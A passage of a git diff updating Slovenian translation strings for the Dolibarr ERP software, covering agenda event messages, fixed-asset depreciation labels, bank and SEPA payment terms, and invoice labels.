%s created -PRODUCT_MODIFYInDolibarr=Product %s modified -PRODUCT_DELETEInDolibarr=Product %s deleted -HOLIDAY_CREATEInDolibarr=Request for leave %s created -HOLIDAY_MODIFYInDolibarr=Request for leave %s modified -HOLIDAY_APPROVEInDolibarr=Request for leave %s approved -HOLIDAY_VALIDATEInDolibarr=Request for leave %s validated -HOLIDAY_DELETEInDolibarr=Request for leave %s deleted -EXPENSE_REPORT_CREATEInDolibarr=Expense report %s created -EXPENSE_REPORT_VALIDATEInDolibarr=Expense report %s validated -EXPENSE_REPORT_APPROVEInDolibarr=Expense report %s approved -EXPENSE_REPORT_DELETEInDolibarr=Expense report %s deleted -EXPENSE_REPORT_REFUSEDInDolibarr=Expense report %s refused +InterventionSentByEMail=Intervencija %s poslana po elektronski pošti +ProjectSentByEMail=Projekt %s poslan po e-pošti +ProposalDeleted=Predlog izbrisan +OrderDeleted=Naročilo izbrisano +InvoiceDeleted=Račun izbrisan +DraftInvoiceDeleted=Osnutek računa izbrisan +CONTACT_CREATEInDolibarr=Kontakt %s ustvarjen +CONTACT_MODIFYInDolibarr=Kontakt %s spremenjen +CONTACT_DELETEInDolibarr=Kontakt %s izbrisan +PRODUCT_CREATEInDolibarr=Izdelek %s ustvarjen +PRODUCT_MODIFYInDolibarr=Izdelek %s spremenjen +PRODUCT_DELETEInDolibarr=Izdelek %s izbrisan +HOLIDAY_CREATEInDolibarr=Prošnja za dopust %s ustvarjena +HOLIDAY_MODIFYInDolibarr=Zahteva za dopust %s spremenjena +HOLIDAY_APPROVEInDolibarr=Prošnja za dopust %s odobrena +HOLIDAY_VALIDATEInDolibarr=Prošnja za dopust %s potrjena +HOLIDAY_DELETEInDolibarr=Prošnja za dopust %s izbrisana +EXPENSE_REPORT_CREATEInDolibarr=Poročilo o stroških %s ustvarjeno +EXPENSE_REPORT_VALIDATEInDolibarr=Poročilo o stroških %s potrjeno +EXPENSE_REPORT_APPROVEInDolibarr=Potrjeno poročilo o stroških %s +EXPENSE_REPORT_DELETEInDolibarr=Poročilo o stroških %s izbrisano +EXPENSE_REPORT_REFUSEDInDolibarr=Poročilo o stroških %s zavrnjeno PROJECT_CREATEInDolibarr=Projekt %s je bil ustvarjen -PROJECT_MODIFYInDolibarr=Project %s modified -PROJECT_DELETEInDolibarr=Project %s deleted -TICKET_CREATEInDolibarr=Ticket %s created -TICKET_MODIFYInDolibarr=Ticket %s modified -TICKET_ASSIGNEDInDolibarr=Ticket %s assigned -TICKET_CLOSEInDolibarr=Ticket %s closed -TICKET_DELETEInDolibarr=Ticket %s deleted -BOM_VALIDATEInDolibarr=BOM validated -BOM_UNVALIDATEInDolibarr=BOM unvalidated -BOM_CLOSEInDolibarr=BOM disabled -BOM_REOPENInDolibarr=BOM reopen -BOM_DELETEInDolibarr=BOM deleted -MRP_MO_VALIDATEInDolibarr=MO validated -MRP_MO_UNVALIDATEInDolibarr=MO set to draft status -MRP_MO_PRODUCEDInDolibarr=MO produced -MRP_MO_DELETEInDolibarr=MO deleted -MRP_MO_CANCELInDolibarr=MO canceled -PAIDInDolibarr=%s paid +PROJECT_MODIFYInDolibarr=Projekt %s spremenjen +PROJECT_DELETEInDolibarr=Projekt %s izbrisan +TICKET_CREATEInDolibarr=Vstopnica %s ustvarjena +TICKET_MODIFYInDolibarr=Vstopnica %s spremenjena +TICKET_ASSIGNEDInDolibarr=Vstopnica %s dodeljena +TICKET_CLOSEInDolibarr=Vstopnica %s zaprta +TICKET_DELETEInDolibarr=Vstopnica %s izbrisana +BOM_VALIDATEInDolibarr=BOM potrjena +BOM_UNVALIDATEInDolibarr=BOM ni preverjena +BOM_CLOSEInDolibarr=BOM onemogočen +BOM_REOPENInDolibarr=BOM ponovno odprt +BOM_DELETEInDolibarr=BOM izbrisana +MRP_MO_VALIDATEInDolibarr=MO potrjeno +MRP_MO_UNVALIDATEInDolibarr=MO nastavljen na status osnutka +MRP_MO_PRODUCEDInDolibarr=MO proizvaja +MRP_MO_DELETEInDolibarr=MO izbrisan +MRP_MO_CANCELInDolibarr=MO preklican +PAIDInDolibarr=%s plačano ##### End agenda events ##### -AgendaModelModule=Document templates for event +AgendaModelModule=Predloge dokumentov za dogodek DateActionStart=Začetni datum DateActionEnd=Končni datum AgendaUrlOptions1=V filtriran izhod lahko dodate tudi naslednje parametre: AgendaUrlOptions3=logina=%s za omejitev izhoda na aktivnosti v lasti uporabnika %s. -AgendaUrlOptionsNotAdmin=logina=!%s to restrict output to actions not owned by user %s. -AgendaUrlOptions4=logint=%s to restrict output to actions assigned to user %s (owner and others). -AgendaUrlOptionsProject=project=__PROJECT_ID__ to restrict output to actions linked to project __PROJECT_ID__. -AgendaUrlOptionsNotAutoEvent=notactiontype=systemauto to exclude automatic events. -AgendaUrlOptionsIncludeHolidays=includeholidays=1 to include events of holidays. -AgendaShowBirthdayEvents=Birthdays of contacts -AgendaHideBirthdayEvents=Hide birthdays of contacts +AgendaUrlOptionsNotAdmin= logina=!%s za omejitev izhoda na dejanja, ki niso v lasti uporabnika %s . +AgendaUrlOptions4= logint=%s za omejitev izhoda na dejanja, dodeljena uporabniku %s (lastnik in drugi). +AgendaUrlOptionsProject= project=__PROJECT_ID__ za omejitev izhoda na dejanja, povezana s projektom __PROJECT_ID__ . +AgendaUrlOptionsNotAutoEvent= notactiontype=systemauto za izključitev samodejnih dogodkov. +AgendaUrlOptionsIncludeHolidays= includeholidays=1 za vključitev dogodkov ob praznikih. +AgendaShowBirthdayEvents=Rojstni dnevi stikov +AgendaHideBirthdayEvents=Skrij rojstne dneve stikov Busy=Zaseden -ExportDataset_event1=Seznam aktivnosti +ExportDataset_event1=Seznam dogodkov v koledarju DefaultWorkingDays=Privzeti delovni dnevi v tednu (primer: 1-5, 1-6) DefaultWorkingHours=Privzet dnevni delovnik (primer: 9-18) # External Sites ical ExportCal=Izvoz koledarja ExtSites=Zunanji koledarji -ExtSitesEnableThisTool=Show external calendars (defined in global setup) in Agenda. Does not affect external calendars defined by users. +ExtSitesEnableThisTool=Pokaži zunanje koledarje (določene v globalnih nastavitvah) v dnevnem redu. Ne vpliva na zunanje koledarje, ki jih določijo uporabniki. ExtSitesNbOfAgenda=Število koledarjev -AgendaExtNb=Calendar no. %s +AgendaExtNb=Koledar št. %s ExtSiteUrlAgenda=URL za dostop do .ical datoteke ExtSiteNoLabel=Ni opisa VisibleTimeRange=Prikazano časovno območje @@ -154,21 +159,23 @@ AddEvent=Ustvari dogodek MyAvailability=Moja dostopnost ActionType=Tip dogodka DateActionBegin=Datum začetka dogodka -ConfirmCloneEvent=Are you sure you want to clone the event %s? +ConfirmCloneEvent=Ali ste prepričani, da želite klonirati dogodek %s ? RepeatEvent=Ponovi dogodek -OnceOnly=Once only +OnceOnly=Samo enkrat +EveryDay=Vsak dan EveryWeek=Vsak teden EveryMonth=Vsak mesec DayOfMonth=Dan v mesecu DayOfWeek=Dan v tednu DateStartPlusOne=Začetni datum + 1 ura -SetAllEventsToTodo=Set all events to todo -SetAllEventsToInProgress=Set all events to in progress -SetAllEventsToFinished=Set all events to finished -ReminderTime=Reminder period before the event -TimeType=Duration type -ReminderType=Callback type -AddReminder=Create an automatic reminder notification for this event -ErrorReminderActionCommCreation=Error creating the reminder notification for this event -BrowserPush=Browser Popup Notification -ActiveByDefault=Enabled by default +SetAllEventsToTodo=Nastavite vse dogodke na opravila +SetAllEventsToInProgress=Vse dogodke nastavite na v teku +SetAllEventsToFinished=Vse dogodke nastavite na končane +ReminderTime=Obdobje opomina pred dogodkom +TimeType=Vrsta trajanja +ReminderType=Vrsta povratnega klica +AddReminder=Ustvarite samodejno obvestilo o opomniku za ta dogodek +ErrorReminderActionCommCreation=Napaka pri ustvarjanju obvestila o opomniku za ta dogodek +BrowserPush=Pojavno obvestilo brskalnika +ActiveByDefault=Privzeto omogočeno +Until=dokler diff --git a/htdocs/langs/sl_SI/assets.lang b/htdocs/langs/sl_SI/assets.lang index 95c43a6fa85..9708e730135 100644 --- a/htdocs/langs/sl_SI/assets.lang +++ b/htdocs/langs/sl_SI/assets.lang @@ -1,4 +1,4 @@ -# Copyright (C) 2018 Alexandre Spangaro +# Copyright (C) 2018-2022 Alexandre Spangaro # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by @@ -16,50 +16,171 @@ # # Generic # -Assets = Assets -NewAsset = New asset -AccountancyCodeAsset = Accounting code (asset) -AccountancyCodeDepreciationAsset = Accounting code (depreciation asset account) -AccountancyCodeDepreciationExpense = Accounting code (depreciation expense account) -NewAssetType=New asset type -AssetsTypeSetup=Asset type setup -AssetTypeModified=Asset type modified -AssetType=Asset type -AssetsLines=Assets +NewAsset=Novo sredstvo +AccountancyCodeAsset=Knjigovodska oznaka (sredstvo) +AccountancyCodeDepreciationAsset=Knjigovodska šifra (konto amortizacije sredstev) +AccountancyCodeDepreciationExpense=Knjigovodska oznaka (konto stroškov amortizacije) +AssetsLines=Sredstva DeleteType=Izbriši -DeleteAnAssetType=Delete an asset type -ConfirmDeleteAssetType=Are you sure you want to delete this asset type? -ShowTypeCard=Prikaži tip '%s' +DeleteAnAssetType=Izbrišite model sredstva +ConfirmDeleteAssetType=Ali ste prepričani, da želite izbrisati ta model sredstva? +ShowTypeCard=Pokaži model '%s' # Module label 'ModuleAssetsName' -ModuleAssetsName = Assets +ModuleAssetsName=Sredstva # Module description 'ModuleAssetsDesc' -ModuleAssetsDesc = Assets description +ModuleAssetsDesc=Opis sredstev # # Admin page # -AssetsSetup = Assets setup -Settings = Settings -AssetsSetupPage = Assets setup page -ExtraFieldsAssetsType = Complementary attributes (Asset type) -AssetsType=Asset type -AssetsTypeId=Asset type id -AssetsTypeLabel=Asset type label -AssetsTypes=Assets types +AssetSetup=Nastavitev sredstev +AssetSetupPage=Stran za nastavitev sredstev +ExtraFieldsAssetModel=Dopolnilni atributi (model sredstva) + +AssetsType=Model sredstev +AssetsTypeId=ID modela sredstva +AssetsTypeLabel=Oznaka modela sredstva +AssetsTypes=Modeli sredstev +ASSET_ACCOUNTANCY_CATEGORY=Skupina za knjigovodstvo osnovnih sredstev # # Menu # -MenuAssets = Assets -MenuNewAsset = New asset -MenuTypeAssets = Type assets -MenuListAssets = Seznam -MenuNewTypeAssets = Nov -MenuListTypeAssets = Seznam +MenuAssets=Sredstva +MenuNewAsset=Novo sredstvo +MenuAssetModels=Sredstva modela +MenuListAssets=Seznam +MenuNewAssetModel=Nov model sredstva +MenuListAssetModels=Seznam # # Module # -NewAssetType=New asset type -NewAsset=New asset +ConfirmDeleteAsset=Ali res želite odstraniti to sredstvo? + +# +# Tab +# +AssetDepreciationOptions=Možnosti amortizacije +AssetAccountancyCodes=Računovodski izkazi +AssetDepreciation=Amortizacija + +# +# Asset +# +Asset=Sredstvo +Assets=Sredstva +AssetReversalAmountHT=Znesek razveljavitve (brez davkov) +AssetAcquisitionValueHT=Znesek pridobitve (brez davkov) +AssetRecoveredVAT=Povrnjen DDV +AssetReversalDate=Datum razveljavitve +AssetDateAcquisition=Datum pridobitve +AssetDateStart=Datum zagona +AssetAcquisitionType=Vrsta pridobitve +AssetAcquisitionTypeNew=Nov +AssetAcquisitionTypeOccasion=Rabljeno +AssetType=Vrsta sredstva +AssetTypeIntangible=Nematerialno +AssetTypeTangible=Oprijemljivo +AssetTypeInProgress=V postopku +AssetTypeFinancial=Finančna +AssetNotDepreciated=Ni amortizirano +AssetDisposal=Odstranjevanje +AssetConfirmDisposalAsk=Ali ste prepričani, da želite razpolagati s sredstvom %s ? +AssetConfirmReOpenAsk=Ali ste prepričani, da želite znova odpreti sredstvo %s ? + +# +# Asset status +# +AssetInProgress=V postopku +AssetDisposed=Odstranjeno +AssetRecorded=Obračunano + +# +# Asset disposal +# +AssetDisposalDate=Datum odlaganja +AssetDisposalAmount=Vrednost odlaganja +AssetDisposalType=Vrsta odlaganja +AssetDisposalDepreciated=Amortizirajte leto prenosa +AssetDisposalSubjectToVat=Odtujitev je predmet DDV + +# +# Asset model +# +AssetModel=Model sredstva +AssetModels=Assetovi modeli + +# +# Asset depreciation options +# +AssetDepreciationOptionEconomic=Ekonomska amortizacija +AssetDepreciationOptionAcceleratedDepreciation=Pospešena amortizacija (davek) +AssetDepreciationOptionDepreciationType=Vrsta amortizacije +AssetDepreciationOptionDepreciationTypeLinear=Linearno +AssetDepreciationOptionDepreciationTypeDegressive=Degresivno +AssetDepreciationOptionDepreciationTypeExceptional=Izjemen +AssetDepreciationOptionDegressiveRate=Degresivna stopnja +AssetDepreciationOptionAcceleratedDepreciation=Pospešena amortizacija (davek) +AssetDepreciationOptionDuration=Trajanje +AssetDepreciationOptionDurationType=Trajanje vrste +AssetDepreciationOptionDurationTypeAnnual=Letna +AssetDepreciationOptionDurationTypeMonthly=Mesečno +AssetDepreciationOptionDurationTypeDaily=Dnevno +AssetDepreciationOptionRate=Oceni (%%) +AssetDepreciationOptionAmountBaseDepreciationHT=Amortizacijska osnova (brez DDV) +AssetDepreciationOptionAmountBaseDeductibleHT=Odbitna osnova (brez DDV) +AssetDepreciationOptionTotalAmountLastDepreciationHT=Skupni znesek zadnje amortizacije (brez DDV) + +# +# Asset accountancy codes +# +AssetAccountancyCodeDepreciationEconomic=Ekonomska amortizacija +AssetAccountancyCodeAsset=Sredstvo +AssetAccountancyCodeDepreciationAsset=Amortizacija +AssetAccountancyCodeDepreciationExpense=Stroški amortizacije +AssetAccountancyCodeValueAssetSold=Vrednost odtujenega sredstva +AssetAccountancyCodeReceivableOnAssignment=Terjatev ob odtujitvi +AssetAccountancyCodeProceedsFromSales=Izkupiček od odtujitve +AssetAccountancyCodeVatCollected=Pobrani DDV +AssetAccountancyCodeVatDeductible=Povrnjen DDV na sredstva +AssetAccountancyCodeDepreciationAcceleratedDepreciation=Pospešena amortizacija (davek) +AssetAccountancyCodeAcceleratedDepreciation=Račun +AssetAccountancyCodeEndowmentAcceleratedDepreciation=Stroški amortizacije +AssetAccountancyCodeProvisionAcceleratedDepreciation=Ponovna posest/oskrba + +# +# Asset depreciation +# +AssetBaseDepreciationHT=Amortizacijska osnova (brez DDV) +AssetDepreciationBeginDate=Začetek amortizacije dne +AssetDepreciationDuration=Trajanje +AssetDepreciationRate=Oceni (%%) +AssetDepreciationDate=Datum amortizacije +AssetDepreciationHT=Amortizacija (brez DDV) +AssetCumulativeDepreciationHT=Kumulativna amortizacija (brez DDV) +AssetResidualHT=Preostala vrednost (brez DDV) +AssetDispatchedInBookkeeping=Evidentirana amortizacija +AssetFutureDepreciationLine=Prihodnja amortizacija +AssetDepreciationReversal=Preobrat + +# +# Errors +# +AssetErrorAssetOrAssetModelIDNotProvide=ID sredstva ali zvok modela ni bil naveden +AssetErrorFetchAccountancyCodesForMode=Napaka pri pridobivanju računovodskih kontov za način amortizacije '%s' +AssetErrorDeleteAccountancyCodesForMode=Napaka pri brisanju računovodskih kontov iz načina amortizacije '%s' +AssetErrorInsertAccountancyCodesForMode=Napaka pri vstavljanju računovodskih kontov načina amortizacije '%s' +AssetErrorFetchDepreciationOptionsForMode=Napaka pri pridobivanju možnosti za način amortizacije '%s' +AssetErrorDeleteDepreciationOptionsForMode=Napaka pri brisanju možnosti načina amortizacije '%s' +AssetErrorInsertDepreciationOptionsForMode=Napaka pri vstavljanju možnosti načina amortizacije '%s' +AssetErrorFetchDepreciationLines=Napaka pri pridobivanju evidentiranih amortizacijskih vrstic +AssetErrorClearDepreciationLines=Napaka pri čiščenju evidentiranih amortizacijskih vrstic (stornira in prihodnost) +AssetErrorAddDepreciationLine=Napaka pri dodajanju amortizacijske vrstice +AssetErrorCalculationDepreciationLines=Napaka pri izračunu amortizacijskih vrstic (izterjava in prihodnost) +AssetErrorReversalDateNotProvidedForMode=Datum razveljavitve ni naveden za metodo amortiziranja '%s' +AssetErrorReversalDateNotGreaterThanCurrentBeginFiscalDateForMode=Datum razveljavitve mora biti večji ali enak začetku tekočega poslovnega leta za metodo amortiziranja '%s' +AssetErrorReversalAmountNotProvidedForMode=Znesek razveljavitve ni zagotovljen za način amortiziranja '%s'. +AssetErrorFetchCumulativeDepreciation=Napaka pri pridobivanju akumuliranega zneska amortizacije iz amortizacijske vrstice +AssetErrorSetLastCumulativeDepreciation=Napaka pri evidentiranju zadnje akumulirane amortizacije diff --git a/htdocs/langs/sl_SI/banks.lang b/htdocs/langs/sl_SI/banks.lang index 98af72a0cf9..8fa07d3f9fb 100644 --- a/htdocs/langs/sl_SI/banks.lang +++ b/htdocs/langs/sl_SI/banks.lang @@ -1,13 +1,13 @@ # Dolibarr language file - Source file is en_US - banks Bank=Banka -MenuBankCash=Banks | Cash -MenuVariousPayment=Miscellaneous payments -MenuNewVariousPayment=New Miscellaneous payment +MenuBankCash=Banke | Gotovina +MenuVariousPayment=Razna plačila +MenuNewVariousPayment=Novo razno plačilo BankName=Ime banke FinancialAccount=Račun BankAccount=Bančni račun BankAccounts=Bančni računi -BankAccountsAndGateways=Bank accounts | Gateways +BankAccountsAndGateways=Bančni računi | Prehodi ShowAccount=Prikaži račun AccountRef=Referenca finančnega računa AccountLabel=Naziv finančnega računa @@ -30,22 +30,22 @@ AllTime=Od začetka Reconciliation=Usklajevanje RIB=Transakcijski račun IBAN=IBAN številka -BIC=BIC/SWIFT code -SwiftValid=BIC/SWIFT valid -SwiftNotValid=BIC/SWIFT not valid -IbanValid=BAN valid -IbanNotValid=BAN not valid -StandingOrders=Direct debit orders -StandingOrder=Direct debit order -PaymentByDirectDebit=Payment by direct debit -PaymentByBankTransfers=Payments by credit transfer -PaymentByBankTransfer=Payment by credit transfer +BIC=Koda BIC/SWIFT +SwiftValid=Veljavni BIC/SWIFT +SwiftNotValid=BIC/SWIFT ni veljaven +IbanValid=BAN velja +IbanNotValid=BAN ni veljaven +StandingOrders=Nalogi za direktno bremenitev +StandingOrder=Nalog za direktno bremenitev +PaymentByDirectDebit=Plačilo z direktno obremenitvijo +PaymentByBankTransfers=Plačila s kreditnim nakazilom +PaymentByBankTransfer=Plačilo s kreditnim nakazilom AccountStatement=Izpisek računa AccountStatementShort=Izpisek AccountStatements=Izpiski računa LastAccountStatements=Zadnji izpiski računa IOMonthlyReporting=Mesečno poročilo -BankAccountDomiciliation=Bank address +BankAccountDomiciliation=Naslov banke BankAccountCountry=Država računa BankAccountOwner=Ime lastnika računa BankAccountOwnerAddress=Naslov lastnika računa @@ -62,123 +62,126 @@ BankType2=Gotovinski račun AccountsArea=Področje računov AccountCard=Kartica računa DeleteAccount=Brisanje računa -ConfirmDeleteAccount=Are you sure you want to delete this account? +ConfirmDeleteAccount=Ali ste prepričani, da želite izbrisati ta račun? Account=Račun -BankTransactionByCategories=Bank entries by categories -BankTransactionForCategory=Bank entries for category %s +BankTransactionByCategories=Bančni vnosi po kategorijah +BankTransactionForCategory=Bančni vnosi za kategorijo %s RemoveFromRubrique=Odstranite link z kategorijo -RemoveFromRubriqueConfirm=Are you sure you want to remove link between the entry and the category? -ListBankTransactions=List of bank entries +RemoveFromRubriqueConfirm=Ali ste prepričani, da želite odstraniti povezavo med vnosom in kategorijo? +ListBankTransactions=Seznam bančnih vnosov IdTransaction=ID transakcije -BankTransactions=Bank entries -BankTransaction=Bank entry -ListTransactions=List entries -ListTransactionsByCategory=List entries/category -TransactionsToConciliate=Entries to reconcile -TransactionsToConciliateShort=To reconcile +BankTransactions=Bančni vpisi +BankTransaction=Vpis v banko +ListTransactions=Seznam vnosov +ListTransactionsByCategory=Seznam vnosov/kategorij +TransactionsToConciliate=Vnosi za uskladitev +TransactionsToConciliateShort=Da se pomirimo Conciliable=Se lahko uskladi Conciliate=Uskladi Conciliation=Uskladitev -SaveStatementOnly=Save statement only -ReconciliationLate=Reconciliation late +SaveStatementOnly=Shrani samo izjavo +ReconciliationLate=Sprava pozno IncludeClosedAccount=Vključi zaprte račune OnlyOpenedAccount=Samo odprti računi AccountToCredit=Kreditni konto AccountToDebit=Debetni konto DisableConciliation=Onemogoči funkcijo usklajevanja za ta konto ConciliationDisabled=Funkcija usklajevanja onemogočena -LinkedToAConciliatedTransaction=Linked to a conciliated entry +LinkedToAConciliatedTransaction=Povezano s spravnim vnosom StatusAccountOpened=Odprt StatusAccountClosed=Zaprt AccountIdShort=Številka LineRecord=Transakcija -AddBankRecord=Add entry -AddBankRecordLong=Add entry manually -Conciliated=Reconciled -ConciliatedBy=Uskladil +AddBankRecord=Dodaj vnos +AddBankRecordLong=Vnos dodajte ročno +Conciliated=Pomirjeni +ReConciliedBy=Uskladil DateConciliating=Datum uskladitve -BankLineConciliated=Entry reconciled with bank receipt -Reconciled=Reconciled -NotReconciled=Not reconciled +BankLineConciliated=Vnos usklajen z bančnim potrdilom +BankLineReconciled=Pomirjeni +BankLineNotReconciled=Niso usklajeni CustomerInvoicePayment=Plačilo kupca -SupplierInvoicePayment=Vendor payment +SupplierInvoicePayment=Plačila dobavitelju SubscriptionPayment=Plačilo naročnine -WithdrawalPayment=Debit payment order +WithdrawalPayment=Debetni nalog SocialContributionPayment=Plačilo socialnega/fiskalnega davka -BankTransfer=Credit transfer -BankTransfers=Credit transfers -MenuBankInternalTransfer=Internal transfer -TransferDesc=Use internal transfer to transfer from one account to another, the application will write two records: a debit in the source account and a credit in the target account. The same amount, label and date will be used for this transaction. +BankTransfer=Nakazilo kredita +BankTransfers=Kreditna nakazila +MenuBankInternalTransfer=Notranji prenos +TransferDesc=Uporabite interni prenos za prenos z enega računa na drugega, aplikacija bo zapisala dva zapisa: bremenitev na izvornem računu in dobropis na ciljnem računu. Za to transakcijo bodo uporabljeni isti znesek, oznaka in datum. TransferFrom=Od TransferTo=Na TransferFromToDone=Zabeležen je bil transfer od %s na %s v znesku %s %s. CheckTransmitter=Od -ValidateCheckReceipt=Validate this check receipt? -ConfirmValidateCheckReceipt=Are you sure that you want to submit this check receipt for validation? No changes will be possible once validated. -DeleteCheckReceipt=Delete this check receipt? -ConfirmDeleteCheckReceipt=Are you sure you want to delete this check receipt? +ValidateCheckReceipt=Želite potrditi to potrdilo o prejemu čeka? +ConfirmValidateCheckReceipt=Ali ste prepričani, da želite predložiti to potrdilo o prejemu čeka v potrditev? Po potrditvi ne bodo možne nobene spremembe. +DeleteCheckReceipt=Želite izbrisati ta račun za ček? +ConfirmDeleteCheckReceipt=Ali ste prepričani, da želite izbrisati ta račun? BankChecks=Bančni čeki -BankChecksToReceipt=Checks awaiting deposit -BankChecksToReceiptShort=Checks awaiting deposit +BankChecksToReceipt=Čeki čakajo na polog +BankChecksToReceiptShort=Čeki čakajo na polog ShowCheckReceipt=Prikaži prevzemnico čekovnih nakazil -NumberOfCheques=No. of check -DeleteTransaction=Delete entry -ConfirmDeleteTransaction=Are you sure you want to delete this entry? -ThisWillAlsoDeleteBankRecord=This will also delete generated bank entry +NumberOfCheques=št. čeka +DeleteTransaction=Izbriši vnos +ConfirmDeleteTransaction=Ali ste prepričani, da želite izbrisati ta vnos? +ThisWillAlsoDeleteBankRecord=S tem boste izbrisali tudi ustvarjeni bančni vnos BankMovements=Prenosi -PlannedTransactions=Planned entries -Graph=Graphs -ExportDataset_banque_1=Bank entries and account statement +PlannedTransactions=Načrtovani vpisi +Graph=Grafi +ExportDataset_banque_1=Bančni vnosi in izpisek računa ExportDataset_banque_2=Potrdilo o avansu TransactionOnTheOtherAccount=Transakcija na drug račun -PaymentNumberUpdateSucceeded=Payment number updated successfully +PaymentNumberUpdateSucceeded=Številka plačila je bila uspešno posodobljena PaymentNumberUpdateFailed=Številke plačila ni mogoče posodobiti -PaymentDateUpdateSucceeded=Payment date updated successfully +PaymentDateUpdateSucceeded=Datum plačila je bil uspešno posodobljen PaymentDateUpdateFailed=Datuma plačila ni mogoče posodobiti Transactions=Transakcije -BankTransactionLine=Bank entry -AllAccounts=All bank and cash accounts +BankTransactionLine=Vpis v banko +AllAccounts=Vsi bančni in gotovinski računi BackToAccount=Nazaj na račun ShowAllAccounts=Prikaži vse račune -FutureTransaction=Future transaction. Unable to reconcile. -SelectChequeTransactionAndGenerate=Select/filter the checks which are to be included in the check deposit receipt. Then, click on "Create". +FutureTransaction=Prihodnja transakcija. Ne morem se uskladiti. +SelectChequeTransactionAndGenerate=Izberite/filtrirajte čeke, ki naj bodo vključeni v potrdilo o pologu čeka. Nato kliknite »Ustvari«. InputReceiptNumber=Izberi bančni izpisek, povezan s posredovanjem. Uporabi numerično vrednost, ki se lahko sortira: YYYYMM ali YYYYMMDD EventualyAddCategory=Eventuelno določi kategorijo, v katero se razvrsti zapis -ToConciliate=To reconcile? +ToConciliate=Da se pobota? ThenCheckLinesAndConciliate=Nato preveri vrstice na bančnem izpisku in klikni DefaultRIB=Privzet BAN AllRIB=Vsi BAN-i LabelRIB=Naziv BAN-a NoBANRecord=Ni BAN zapisa DeleteARib=Izbriši BAN zapis -ConfirmDeleteRib=Are you sure you want to delete this BAN record? +ConfirmDeleteRib=Ali ste prepričani, da želite izbrisati ta zapis BAN? RejectCheck=Vrnjen ček -ConfirmRejectCheck=Are you sure you want to mark this check as rejected? +ConfirmRejectCheck=Ali ste prepričani, da želite označiti ta ček kot zavrnjen? RejectCheckDate=Datum vrnitve čeka CheckRejected=Vrnjen ček -CheckRejectedAndInvoicesReopened=Check returned and invoices re-open -BankAccountModelModule=Document templates for bank accounts -DocumentModelSepaMandate=Template of SEPA mandate. Useful for European countries in EEC only. -DocumentModelBan=Template to print a page with BAN information. -NewVariousPayment=New miscellaneous payment -VariousPayment=Miscellaneous payment -VariousPayments=Miscellaneous payments -ShowVariousPayment=Show miscellaneous payment -AddVariousPayment=Add miscellaneous payment -VariousPaymentId=Miscellaneous payment ID -VariousPaymentLabel=Miscellaneous payment label -ConfirmCloneVariousPayment=Confirm the clone of a miscellaneous payment -SEPAMandate=SEPA mandate -YourSEPAMandate=Your SEPA mandate -FindYourSEPAMandate=This is your SEPA mandate to authorize our company to make direct debit order to your bank. Return it signed (scan of the signed document) or send it by mail to -AutoReportLastAccountStatement=Automatically fill the field 'number of bank statement' with last statement number when making reconciliation -CashControl=POS cash desk control -NewCashFence=New cash desk opening or closing -BankColorizeMovement=Colorize movements -BankColorizeMovementDesc=If this function is enable, you can choose specific background color for debit or credit movements -BankColorizeMovementName1=Background color for debit movement -BankColorizeMovementName2=Background color for credit movement -IfYouDontReconcileDisableProperty=If you don't make the bank reconciliations on some bank accounts, disable the property "%s" on them to remove this warning. -NoBankAccountDefined=No bank account defined -NoRecordFoundIBankcAccount=No record found in bank account. Commonly, this occurs when a record has been deleted manually from the list of transaction in the bank account (for example during a reconciliation of the bank account). Another reason is that the payment was recorded when the module "%s" was disabled. -AlreadyOneBankAccount=Already one bank account defined +CheckRejectedAndInvoicesReopened=Ček vrnjen in računi ponovno odprti +BankAccountModelModule=Predloge dokumentov za bančne račune +DocumentModelSepaMandate=Predloga mandata SEPA. Uporabno samo za evropske države v EGS. +DocumentModelBan=Predloga za tiskanje strani z informacijami o prepovedi. +NewVariousPayment=Nova razna plačila +VariousPayment=Razno plačilo +VariousPayments=Razna plačila +ShowVariousPayment=Prikaži razna plačila +AddVariousPayment=Dodajte razna plačila +VariousPaymentId=Razno ID plačila +VariousPaymentLabel=Oznaka za razna plačila +ConfirmCloneVariousPayment=Potrdite klon raznega plačila +SEPAMandate=Mandat SEPA +YourSEPAMandate=Vaš mandat SEPA +FindYourSEPAMandate=To je vaše pooblastilo SEPA, da pooblastite naše podjetje, da izda nalog za direktno bremenitev vaši banki. Vrnite ga podpisanega (sken podpisanega dokumenta) ali pošljite po pošti na naslov +AutoReportLastAccountStatement=Pri uskladitvi samodejno izpolnite polje 'številka bančnega izpiska' s številko zadnjega izpiska +CashControl=POS kontrola gotovine +NewCashFence=Nova kontrola gotovine (odpiranje ali zapiranje) +BankColorizeMovement=Barvajte gibe +BankColorizeMovementDesc=Če je ta funkcija omogočena, lahko izberete posebno barvo ozadja za obremenitev ali dobropis +BankColorizeMovementName1=Barva ozadja za debetno gibanje +BankColorizeMovementName2=Barva ozadja za gibanje kredita +IfYouDontReconcileDisableProperty=Če za nekatere bančne račune ne izvedete bančne uskladitve, na njih onemogočite lastnost »%s«, da odstranite to opozorilo. +NoBankAccountDefined=Bančni račun ni določen +NoRecordFoundIBankcAccount=Na bančnem računu ni najdenega zapisa. Običajno se to zgodi, ko je bil zapis ročno izbrisan s seznama transakcij na bančnem računu (na primer med usklajevanjem bančnega računa). Drugi razlog je, da je bilo plačilo zabeleženo, ko je bil modul "%s" onemogočen. +AlreadyOneBankAccount=En bančni račun je že določen +SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformation=Nakazilo SEPA: 'Vrsta plačila' na ravni 'Kreditno nakazilo' +SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp=Ko ustvarite datoteko SEPA XML za kreditna nakazila, lahko razdelek »PaymentTypeInformation« zdaj postavite znotraj razdelka »CreditTransferTransactionInformation« (namesto razdelka »Payment«). Močno priporočamo, da to možnost ne označite, če želite namestiti PaymentTypeInformation na raven plačila, saj ni nujno, da jih bodo vse banke sprejele na ravni CreditTransferTransactionInformation. Obrnite se na svojo banko, preden postavite PaymentTypeInformation na raven CreditTransferTransactionInformation. +ToCreateRelatedRecordIntoBank=Za ustvarjanje manjkajoče povezane bančne evidence diff --git a/htdocs/langs/sl_SI/bills.lang b/htdocs/langs/sl_SI/bills.lang index 353b78b08ef..6be1558a7f5 100644 --- a/htdocs/langs/sl_SI/bills.lang +++ b/htdocs/langs/sl_SI/bills.lang @@ -3,20 +3,22 @@ Bill=Faktura Bills=Fakture BillsCustomers=Fakture za kupce BillsCustomer=Faktura za kupca -BillsSuppliers=Fakture dobaviteljev +BillsSuppliers=Prejeti računi BillsCustomersUnpaid=Neplačane fakture kupcev 